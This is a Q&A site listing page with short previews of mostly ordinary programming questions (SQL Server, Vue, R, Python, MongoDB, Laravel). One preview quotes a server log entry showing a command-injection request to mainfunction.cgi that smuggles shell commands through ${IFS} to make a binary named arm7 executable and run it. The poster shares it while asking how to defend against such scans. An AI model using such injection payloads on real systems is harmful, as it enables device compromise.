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sql server - T-sql count number of times a week on rows with date interval

If you have table like this: Name Data type UserID INT StartDate DATETIME EndDate DATETIME...

asked Jan 27, 2021 in Technique[技术] by 深蓝 (71.8m points)

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1.2k views

1 answer

supervisor 通过虚拟环境中的gunicorn运行程序提示找不到模块

非 root 用户，网站目录是 /home/www/web/ supervisor 配置文件： [program: weba] dirctory = /home/www/web/ command = /home/www/web/.env/ ... /.env/bin/gunicorn -w 4 'app:create_app()' 是OK的这是什么情况...

asked Jan 27, 2021 in Technique[技术] by 深蓝 (71.8m points)

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1.7k views

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vue能否动态绑定一个class同时满足两个条件？

...

asked Jan 27, 2021 in Technique[技术] by 深蓝 (71.8m points)

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2.4k views

1 answer

How to set up a dynamic R single choice quiz?

How to set up a dynamic R Quiz, with the choice of 5 elements, the first of which should be the correct solution, the others options must be incorrect?...

asked Jan 27, 2021 in Technique[技术] by 深蓝 (71.8m points)

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2.4k views

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这又是被扫描了么？

这一条服务器被访问的记录，隐去了真实域名发出来的目的是分享求点防护知识吧 http://api.xxx.com/cgi-bin/mainfunction.cgi?action= ... IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7' '&loginUser=a&loginPwd=a%20HTTP/1.1...

asked Jan 27, 2021 in Technique[技术] by 深蓝 (71.8m points)

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2.7k views

1 answer

Summing rows in a Julia DataFrame

I have a DataFrame of time-series data, and I'd like to sum the rows which have the same name, eg: df = ... do not know how many rows each name corresponds to. Thank you!...

asked Jan 27, 2021 in Technique[技术] by 深蓝 (71.8m points)

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2.6k views

1 answer

vue怎么向slot中的组件传参？

组件A <div> <template v-for="(row, index) in rows"> <tr> <slot :row="row" :index="index"> </slot> </tr> </template> </div> 组件B < ... A :rows='list'> <B>test</B> </A> 组件A该如何向组件B传参呢？...

asked Jan 27, 2021 in Technique[技术] by 深蓝 (71.8m points)

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3.0k views

1 answer

Python 3 : Two or more tuples as arguments

Is it possible to unpack two tuples as an argument of a function in Python 3? The code goes like this... def ... code to compare elements of tuple1 to elements of tuple2 Thanks!...

asked Jan 27, 2021 in Technique[技术] by 深蓝 (71.8m points)

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3.1k views

1 answer

C# NSubstitude react to unsubsribe from event (operator -=)

I am trying to throw exception when unsubscribing from event. .NET Framework 4.8 I tried this: var sFE = NSubstitute. ... be null. Parameter name: handler' Please can you help me?...

asked Jan 27, 2021 in Technique[技术] by 深蓝 (71.8m points)

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3.4k views

1 answer

r - How to subset .Rmd files in a directory using list.files

I use this code which I got from this blog to count the number of lines of code in my .R files in a particular directory: # ... : str_subset("[.][R]$|[.][Rmd]$") Any suggestions?...

asked Jan 27, 2021 in Technique[技术] by 深蓝 (71.8m points)

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3.2k views

1 answer

vue中怎么通过cdn的方式使用less

externals: { 'less':'less' } webpack 中配置了这个，报错 Cannot find module 'less'...

asked Jan 27, 2021 in Technique[技术] by 深蓝 (71.8m points)

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3.4k views

1 answer

mongodb wiredtigerlas.wt 文件巨大

发现服务器磁盘空间被占满了，找到mondodb data目录下wiredtigerlas.wt这个文件占用了100G+,这个文件有什么用，可以直接删除吗？ MongoDB的WiredTigerLAS.wt大小异常分析看到这边文章，总结中写道： ... 隔离级别后得到解决将LAS清理换为使用read commited隔离级别，这个是在什么地方配置呢？...

asked Jan 27, 2021 in Technique[技术] by 深蓝 (71.8m points)

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3.2k views

1 answer

一道面试题的链式调用思考？

请实现find函数，使下列的代码调用正确约定： title数据类型为string|null id为主键，数据类型为number var data = [ {id: 1, title: 'title1'}, {id: 2, ... title2'}, { id: 2, title: 'other' },{id: 1, title: 'title1'}];...

asked Jan 27, 2021 in Technique[技术] by 深蓝 (71.8m points)

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3.4k views

1 answer

javascript - Need array traversing inside JS filter

static isHomeInternetDeviceInCart(cart: any) { let hintDevicesInCart = false; if (cart && cart.packages) { let ... t work well, please help me optimizing this code....

asked Jan 25, 2021 in Technique[技术] by 深蓝 (71.8m points)

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3.5k views

1 answer

代码如何，h5页面中，客户端请求静态页面，为什么得不到sessionId，弹出的是undefined

<!DOCTYPE html> <html> <head> <script src="lib/jquery-3.4.1.min.js" ></script> <script src="lib/zepto.js" ... > </body> </html> <script> alert(sessionStorage.sessionId) </script>...

asked Jan 25, 2021 in Technique[技术] by 深蓝 (71.8m points)

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3.6k views

1 answer

用户表与部门表设计

请教各位大神几个问题 1 一般用户只归属一个部门，还是多个部门呢？是用户表加个部门ID，还是新增一张用户部门关联表？ 2 组织机构与部门有什么关系？设计的时候是设计组织机构表(树形结构，类型分机构部门等？)还是部门表呢 ... 路径？比如/root/dep1/dep2 目前是考虑左侧部门树点击之后，右侧列表显示当前部门及子部门下面的用户列表谢谢各位 ...

asked Jan 24, 2021 in Technique[技术] by 深蓝 (71.8m points)

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4.1k views

1 answer

jmeter HTTP请求报405

这个网址请求就是POST啊，但是post请求会报405，get请求就不会这个网址抓包抓到的...

asked Jan 24, 2021 in Technique[技术] by 深蓝 (71.8m points)

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3.5k views

1 answer

js如何判断两个时间最接近

我有两个json,一个是实时数据 jsonNow=[ {'value':'1.77','time':'2020-12-09 14:32:00','name':'A'}, {'value':'1.77','time':'2020-12-09 ... 69','time':'2020-12-08 14:36:00','name':'B'} ] 我要怎么实现呢？...

asked Jan 24, 2021 in Technique[技术] by 深蓝 (71.8m points)

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4.3k views

1 answer

php - Laravel 8 - Trusted Proxies. Confused between 'fideloper/TrustedProxy' and 'TrustProxies Middleware'

I need to implement Trusted Proxy but I'm confused between the PHP package fideloper/TrustedProxy (https://github.com/ ... one? Are they redundant? Thank you for the clarification...

asked Jan 24, 2021 in Technique[技术] by 深蓝 (71.8m points)

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3.9k views

1 answer

angular10 无法引入ng-zorro

错误代码如下 angular版本号如下...

asked Jan 24, 2021 in Technique[技术] by 深蓝 (71.8m points)

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3.9k views

1 answer

Problems with Python 3.9 installation

I'm quite new to all of this programming universe. I recently installed the latest version of python (3.9.1 from a ... followed the readme instructions. PD: I use Linux Mint 20.1...

asked Jan 24, 2021 in Technique[技术] by 深蓝 (71.8m points)

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3.7k views

1 answer

存入数据库时富文本的图片存地址还是base64？

如果是存地址的话，如果迁移服务器会有无法获取图片的问题，如果存base64可能会加载缓慢，请问有什么比较好的办法？...

asked Jan 24, 2021 in Technique[技术] by 深蓝 (71.8m points)

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3.6k views

1 answer

vue.js - textarea does not accept the correct size after display none

Textarea style overflow:hidden; outline: none; border: none; width: 100%; resize: inherit; Through foreach, notes are obtained( ... true; this.visibleNumber = num; } }, }, })...

asked Jan 24, 2021 in Technique[技术] by 深蓝 (71.8m points)

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3.9k views

1 answer

reactjs - Why do I get Undefined

I have this code: import React, {Component} from 'react'; import {connect} from 'react-redux'; import {compose} from "redux ... component but here it fails and I don't know why......

asked Jan 24, 2021 in Technique[技术] by 深蓝 (71.8m points)

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3.9k views

1 answer

string - How do i save a pdf file to a desktop directory using vb.net?

I am creating a PDF form in vb.net and saving it to my desktop. The user inputs a name into the ... , MessageBoxButtons.OK, MessageBoxIcon.Exclamation) End Try End Sub End Class...

asked Jan 24, 2021 in Technique[技术] by 深蓝 (71.8m points)

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3.8k views

1 answer

router - how make this two 'separated' lans/networks see each other/works as one?

https://i.imgur.com/VUEkRbO.png i need that PC1 and PC2 see the others PC's ans if need access the shared ... is modem 'locked' and with no possibility to change his configs?...

asked Jan 24, 2021 in Technique[技术] by 深蓝 (71.8m points)

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3.4k views

1 answer

javascript - Can you remove the 'flash animation' between modals on sweet alert 2

I'm using sweet alert 2 to chain modals together. I was hoping to get the transition between modals as seamless as ... . Is there anyway to remove this? Thanks for your help!...

asked Jan 24, 2021 in Technique[技术] by 深蓝 (71.8m points)

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3.2k views

1 answer

vue-print如何打印pdf？

这个pdf是base64的数据，想把这个pdf打印出来要怎么做呢？（可以支持多个pdf数据打印）...

asked Jan 24, 2021 in Technique[技术] by 深蓝 (71.8m points)

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